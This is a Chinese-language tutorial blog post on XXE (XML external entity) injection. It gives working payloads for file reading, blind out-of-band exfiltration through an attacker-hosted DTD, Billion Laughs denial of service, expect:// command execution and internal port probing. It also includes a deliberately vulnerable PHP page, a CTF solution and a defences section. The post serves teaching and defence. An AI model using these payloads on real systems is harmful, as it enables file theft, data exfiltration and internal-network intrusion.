1. 程式人生 > >XXE(XML External Entity attack)XML外部實體注入攻擊

XXE(XML External Entity attack)XML外部實體注入攻擊

導語

  XXE:XML External Entity 即外部實體,從安全形度理解成XML External Entity attack 外部實體注入攻擊。由於程式在解析輸入的XML資料時,解析了攻擊者偽造的外部實體而產生的。例如PHP中的simplexml_load 預設情況下會解析外部實體,有XXE漏洞的標誌性函式為simplexml_load_string()。

  儘管XXE漏洞已經存在了很多年,但是它從來沒有獲得它應有的關注度。很多XML的解析器預設是含有XXE漏洞的,這意味著開發人員有責任確保這些程式不受此漏洞的影響。 比如今年7月剛爆出的微信支付XXE漏洞案例。

  libxml2.9.1及以後,預設不解析外部實體。可以

在此瞭解libxml各版本具體改動情況。本次測試在Window下使用的php5.4.45(libxml Version 2.7.8)。Linux中需要將libxml低於libxml2.9.1的版本編譯到PHP中,可以使用phpinfo()檢視libxml的版本資訊。當XML宣告中standalone值是yes的時候表示DTD僅用於驗證文件結構,外部實體將被禁用。但它的預設值是no,而且有些parser會直接忽略這一項。

XML外部實體

  本文主要講外部實體注入攻擊,所以基本的XML語法就不過多的描述。主要看一下DTD-實體

  首先讓我們瞭解一下基本的PAYLOAD結構:
mark
  DTD:Document Type Definition 即文件型別定義,用來為XML文件定義語義約束。可以嵌入在XML文件中(內部宣告),也可以獨立的放在另外一個單獨的檔案中(外部引用)。

實體分為一般實體和引數實體

  1. 一般實體的宣告:<!ENTITY 實體名稱 "實體內容">

   引用一般實體的方法:&實體名稱;

  p.s.經實驗,普通實體可以在DTD中引用,可以在XML中引用,可以在宣告前引用,還可以在實體宣告內部引用。

  2. 引數實體的宣告:<!ENTITY % 實體名稱 "實體內容">

   引用引數實體的方法:%實體名稱;

  p.s.經實驗,引數實體只能在DTD中引用,不能在宣告前引用,也不能在實體宣告內部引用。

  如果實體名稱中出現如<的特殊字元,解析就會失敗。為了避免這種情況,XML用實體引用替換特殊字元。XML預定義了五個實體引用,即用<

、 >、 &、 &apos、 "替換<>&'"

DTD實體宣告(重點)

  1. 內部實體宣告

  <!ENTITY 實體名稱 "實體的值">

  當引用一般實體時,由三部分構成:&實體名,當是用引數傳入xml的時候,&需URL編碼,不然&會被認為是引數間的連線符號。

  示例:

    <?xml version = "1.0" encoding = "utf-8"?>
    <!DOCTYPE test [
    <!ENTITY writer "Dawn">
    <!ENTITY copyright "Copyright W3School.com.cn">
    ]>
    <test>&writer;©right;</test>

  2. 外部實體宣告

  <!ENTITY 實體名稱 SYSTEM "URI/URL">

  外部實體可支援http、file等協議。不同程式支援的協議不同,如下圖:
mark
  其中PHP支援的協議會更多一些,但是需要一定的擴充套件支援:
mark

  示例:

    <?xml version = "1.0" encoding = "utf-8"?>
    <!DOCTYPE test [
    <!ENTITY file SYSTEM "file:///etc/passwd">
    <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
    ]>
    <author>&file;©right;</author>

XXE的攻擊與危害

  當我們瞭解清楚以上的資訊後,我們就能理解如何構造外部實體注入攻擊與它的危害性了。

如何構造外部實體注入攻擊

  一般xxe利用分為兩大場景:有回顯和無回顯。有回顯的情況可以直接在頁面中看到payload的執行結果或現象,無回顯的情況又稱為blind xxe,可以使用外帶資料通道提取資料。

  有回顯的payload寫法:

  1. 直接通過DTD外部實體宣告。XML內容如下:

            <?xml version="1.0"?>
            <!DOCTYPE ANY [
                    <!ENTITY test SYSTEM "file:///etc/passwd">
            ]>
            <abc>&test;</abc>
  2. 通過DTD文件引入外部DTD文件,再引入外部實體宣告。XML內容如下:

            <?xml version="1.0"?>
            <!DOCTYPE a SYSTEM "http://localhost/evil.dtd">
            <abc>&b;</abc>

    evil.dtd內容:

            <!ENTITY b SYSTEM "file:///etc/passwd">
  3. 通過DTD外部實體宣告引入外部實體宣告。XML內容如下:

            <?xml version="1.0"?>
            <!DOCTYPE a [
                    <!ENTITY % d SYSTEM "http://localhost/evil.dtd">
            %d;
            ]>
            <abc>&b;</abc>

    evil.dtd內容:

            <!ENTITY b SYSTEM "file:///etc/passwd">

    但是如果想通過如下宣告是不可以的:

            <?xml version="1.0"?> 
            <!DOCTYPE a [
            <!ENTITY d SYSTEM "http://localhost/evil.xml">
            ]>
            <abc>&d;</abc>

    測試發現這種實體呼叫外部實體,發現evil.xml中不能定義實體,否則解析不了,引數實體就好用很多。

  無回顯的payload寫法:

  1. 第一種無回顯示payload寫法:

            <?xml version="1.0"?> 
            <!DOCTYPE a [
            <!ENTITY % file SYSTEM "file:///c://test/1.txt">
            <!ENTITY % dtd SYSTEM "http://localhost/evil.xml"> 
            %dtd; %all; 
            ]> 
            <abc>&send;</abc>

    其中evil.xml檔案內容為

             <!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost%file;'>">

    呼叫過程為:引數實體dtd呼叫外部實體evil.xml,然後又呼叫引數實體all,接著呼叫實體send。

  2. 第二種無回顯payload寫法:

            <?xml version="1.0"?>
            <!DOCTYPE a [
            <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt">
            <!ENTITY % dtd SYSTEM "http://localhost/evil.xml">
            %dtd;
            %send;
            ]>
            <abc></abc>

    其中evil.xml檔案內容為:

            <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost/?content=%file;'>"> %payload;

    呼叫過程和第一種方法類似,但最裡層的巢狀裡%要進行實體編碼成%。無報錯需要訪問接受資料的伺服器中的日誌資訊,可以看到經過base64編碼過的資料,解碼後便可以得到資料。

  這裡注意引數實體引用%file;必須放在外部檔案裡,因為根據這條 規則 。在內部DTD裡,引數實體引用只能和元素同級而不能直接出現在元素宣告內部,否則解析器會報錯: PEReferences forbidden in internal subset。這裡的        internal subset指的是中括號[]內部的一系列元素宣告,PEReferences 指的應該是引數實體引用 Parameter-Entity Reference 。

  一般都使用第二種方法,因為當檔案中含有中文字元或<字元,會導致不能解析。

XXE帶來的危害

  利用xxe漏洞可以進行檔案讀取,拒絕服務攻擊,命令(程式碼)執行,SQL(XSS)注入,內外掃描埠,入侵內網站點等。內網探測和入侵是利用xxe中支援的協議進行內網主機和埠發現,可以理解是使用xxe進行SSRF的利用,基本上啥都能做。

  首先準備一個有XXE漏洞的檔案,本次測試以php為主:

    <?php
    $xml = simplexml_load_string($_REQUEST['xml']);
    echo "<pre>" ;
    print_r($xml);//註釋掉該語句即為無回顯的情況
    ?>

危害1.讀取任意檔案

有回顯情況:

    <?xml version="1.0"?>
    <!DOCTYPE ANY [
    <!ENTITY test SYSTEM "file:///E://phpStudy/PHPTutorial/WWW/etc/passwd.txt">
    ]>
    <abc>&test;</abc>

mark

無回顯情況:

  本次測試用的phpStudy,需開啟apache日誌記錄並重啟服務。當無回顯情況時,可以講資料傳送到遠端伺服器。

    <?xml version="1.0"?>
    <!DOCTYPE a [
    <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=E://phpStudy/PHPTutorial/WWW/etc/passwd.txt">
    <!ENTITY % dtd SYSTEM "http://localhost/evil.xml">
    %dtd;
    %send;
    ]>
    <abc></abc>

遠端伺服器部署evil.xml內容為:

    <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost/?content=%file;'>"> %payload;

mark

YWRtaW46OnBhc3N3b3JkIQ0KdGVzdDo6cGFzc3dkIQ==Base64解碼即可。

  通過此方法可以讀取/etc/passwd,有些XML解析庫支援列目錄,攻擊者通過列目錄、讀檔案、獲取帳號密碼後進一步攻擊。如讀取tomcat-users.xml得到帳號密碼後登入tomcat的manager部署webshell。

危害2.拒絕服務攻擊

    <?xml version="1.0"?>
    <!DOCTYPE lolz [
    <!ENTITY lol "lol">
    <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
    ]>
    <lolz>&lol9;</lolz>

  此示例就是著名的Billion laughs attack該攻擊是通過建立一項遞迴的 XML 定義,在記憶體中生成十億個"Ha!"字串,從而導致 DoS 攻擊。

  原理:構造惡意的XML實體檔案耗盡可用記憶體,因為許多XML解析器在解析XML文件時傾向於將它的整個結構保留在記憶體中,解析非常慢,造成了拒絕伺服器攻擊。

危害3.遠端命令(程式碼)執行

    <?xml version="1.0"?>
    <!DOCTYPE ANY [
    <!ENTITY test SYSTEM "expect://id">
    ]>
    <abc>&test;</abc>

  此示例是在安裝expect擴充套件的PHP環境裡執行系統命令,其他協議也有可能有此漏洞。

危害4.內網資訊探測

  利用http協議http://url/file.ext,替換標準poc中相應部分即可,這種情況比較不穩定,根據不同xml解析器會得到不同的回顯報錯結果。

有回顯情況:

    <?xml version="1.0"?>
    <!DOCTYPE ANY [
    <!ENTITY test SYSTEM "http://127.0.0.1:87/tets.txt">
    ]>
    <abc>&test;</abc>

  當埠開放時,如80埠:
mark

  當埠未開放時,如81埠:
mark

無回顯情況:

    <?xml version="1.0"?>
    <!DOCTYPE a [
    <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=http://127.0.0.1:81/">
    <!ENTITY % dtd SYSTEM "http://localhost/evil.xml">
    %dtd;
    %send;
    ]>
    <abc></abc>

遠端伺服器部署evil.xml內容為:

    <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://localhost/?content=%file;'>"> %payload;

  觀察日誌檔案即可。

  當埠開放時,如80埠:
mark

  當埠未開放時,如81埠:
mark

  有的無回顯的情況還可以通過抓包看響應頭返回的狀態碼,返回的報錯資訊等判斷。

危害5.攻擊內網網站

難得搭建環境,就直接引用網上的例子吧:

mark

這個示例是攻擊內網strusts2網站,遠端執行系統命令。

還可部署bash檔案建立監聽,獲得反彈shellcode等。

由於xml實體注入攻擊可以利用http://協議,也就是可以發起http請求。可以利用該請求去探查內網,進行SSRF攻擊。

CTF題目

  本人是個CTFer,所以再結合兩道CTF題目,更加深入理解此攻擊。

JarvisOJ——api呼叫

先檢視原始碼:
mark
再看響應:
mark
  開始以為是考反序列化,但根據提示和結果發現不是。這個頁面僅僅是向後臺傳送請求,後臺再響應返回幾個特定的字串,修改請求值,發現返回與前臺的輸入沒多大關係。最後,知道是XXE。

  這道題目,預設的是json格式傳遞,因此首先我們更改Content-Type的值為application/xml,然後傳入xml程式碼:

    <?xml version=”1.0″?>
    <!DOCTYPE a[
    <!ENTITY xxe SYSTEM "file:///home/ctf/flag.txt">]>
    <abc>&xxe;</abc>

mark

DDCTF——喝杯Java冷靜下

此題目有點難,由於技術不到位,有的地方不是很清楚就不誤導讀者了。

直接看看大佬的姿勢吧:

真實案例

  • 線上檔案預覽引起的問題,修改docx檔案的word/document.xml,新增DTD和實體引用,即可觸發,可據此生成惡意的Word文件。

    1. [WooYun-2014-73321(網易郵箱某處XXE可讀取檔案)](http://www.anquan.us/static/bugs/wooyun-2014-073321.html)
    
    2. [WooYun-2014-73439(QQ郵箱XXE可讀取任意檔案)](http://www.anquan.us/static/bugs/wooyun-2014-073439.html)
  • 直接處理POST XML資料。許多都是直接 simplexml_load_string() 處理POST進來的資料。可控字串出現在XML檔案裡就要引起注意。

    1. [WooYun-2015-109725(中通某處XXE漏洞可讀取伺服器任意檔案)](http://www.anquan.us/static/bugs/wooyun-2015-0109725.html)
  • WooYun-2014-59783(百度某功能XML實體注入(二))在第一次修復後只過濾了ENTITY這個詞,DTD 本身就支援呼叫外部的DTD檔案,因此我們只需要在svg里加一個外部的DTD就繞過了。

  • WooYun-2015-156208(國際php框架slim架構上存在XXE漏洞(XXE的典型存在形式))服務端根據請求的 content-type 來區別對待提交的資料。application/x-www-form-urlencoded 、application/json 、application/xml 被用不同的方式解析。XML直接呼叫 simplexml_load_string 處理導致漏洞。有趣的是舊版本對該問題做了防範,新版本去除了相關程式碼,可能是覺得新版本對PHP版本需求在5.5以上。實際上PHP是否解析外部實體與本身版本無關,與編譯時libxml庫版本有關。

  • WooYun-2016-168457(唯品會存在Blind XXE 漏洞)。作者說 關於XXE,覺得漏洞本身沒太多的玩點,比較有意思主要在於:不同語言處理URI的多元化和不同XML解析器在解析XML的一些特性。 xfire是流行的webservice開發元件,其在invoke時使用了STAX解析XML導致XML實體注入發生 。烏雲上一大波XXE洞都是這個,詳細說明見 WooYun-2016-166751(Xfire檔案讀取漏洞)

XXE自動化工具

  XXEinjector:一款功能強大的自動化XXE注射工具。

  本文就不具體演示、講述此工具了。推薦一篇文章,詳細的講述了其使用方法,最後還附了XXEinjector工具的下載。

尋找XXE

檢測xml是否被解析

  嘗試注入特殊字元,使XML失效,引發解析異常,明確後端使用XML傳輸資料。

  • 單雙引號 ' " :XML的屬性值必須用引號包裹,而資料可能進入標籤的屬性值。
  • 尖括號< > :XML的開始/結束標籤用尖括號包裹,資料中出現尖括號會引發異常。
  • 註釋符<!-- :XML使用<!-- This is a comment -->作註釋。
  • & :& 用於引用實體。
  • CDATA 分隔符]]> :<![CDATA[foo]]>中的內容不被解析器解析,提前閉合引發異常。

檢測是否支援外部實體解析

  嘗試利用實體和DTD。

  • 引用外部DTD檔案訪問內網主機/埠 :<!DOCTYPE a SYSTEM "http://127.0.0.1:2333">(看響應時間)
  • 引用外部DTD檔案訪問外網 :<!DOCTYPE a SYSTEM "http://vps_ip" >
  • 引用內部實體 :<!DOCTYPE a [<!ENTITY xxe "findneo">]><a>&xxe;</a>
  • 外部實體讀本地檔案 :<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///etc/hosts">]><a>&xxe;</a>
  • 外部實體訪問內網主機/埠 :<!DOCTYPE a SYSTEM "http://192.168.1.2:80">(看響應時間)
  • 外部實體訪問外網 :<!DOCTYPE a [<!ENTITY xxe SYSTEM "http://vps_ip">]><a>&xxe;</a>
  • 判斷問題存在可以OOB提取資料。

XXE的防禦

  • 使用開發語言提供的禁用外部實體的方法

  PHP

  libxml_disable_entity_loader(true);

  JAVA

          DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

          dbf.setExpandEntityReferences(false);

  Python

  from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

  • 過濾使用者提交的XML資料

  過濾關鍵詞:<!DOCTYPE<!ENTITY,或者SYSTEMPUBLIC

參考資料

大家有任何問題可以提問,更多文章可到i春秋論壇閱讀喲~